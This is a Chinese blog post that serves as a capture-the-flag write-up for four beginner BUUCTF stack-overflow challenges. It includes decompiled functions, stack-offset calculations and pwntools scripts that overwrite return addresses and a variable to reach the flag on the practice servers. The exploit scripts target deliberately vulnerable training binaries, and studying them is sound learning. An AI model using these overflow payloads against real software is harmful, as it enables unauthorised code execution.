pwnstack0x00

栈溢出0x00

buuctf前四题作为入门题

test_your_nc

测试nc的水题,略

rip

get函数栈溢出

1
2
3
4
5
from pwn import *
r = remote('','')
payload = 'A'* 32 + p64(0x401186)
r.sendline(payload)
r.interactive()

warmup_csaw_2016

pwn

gets()函数说明有栈溢出漏洞

1
2
3
4
int sub_40060D()
{
return system("cat flag.txt");
}

调用这个函数可以获得flag,地址是0x40060D

1
2
3
4
v5变量
-0000000000000040 var_40 db 64 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

所以要填充(0x40 + 8)个字符

exp

1
2
3
4
5
from pwn import *
r = remote('node4.buuoj.cn', '27115')
payload = b'a' * (0x40 + 8) + p64(0x40060D)
r.sendline(payload)
r.interactive()

ciscn_2019_n_1

还是一道基础的栈溢出题,没开栈溢出保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int func()
{
int result; // eax
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}

这题应该是用v1溢出修改v2中的值,使得v2 == 11.28125

v1在函数栈中占据(0x30 - 0x04)的大小,v2占据0x04的大小

为什么伪代码注释中是[rbp - 30h]?

这是因为栈在内存中是从高地址朝低地址生长的,rbp是栈底指针

回归正题,把鼠标放到dword_4007F4就可以看到11.28125的16进制数值为0x41348000

exp

1
2
3
4
5
from pwn import *
r = remote('node4.buuoj.cn', '27277')
payload = b'a' * (0x30 - 0x04) + p64(0x41348000)
r.sendline(payload)
r.interactive()
作者

D1anash1ba

发布于

2023-10-20

更新于

2023-11-19

许可协议

You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

评论

You forgot to set the shortname for Disqus. Please set it in _config.yml.
You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.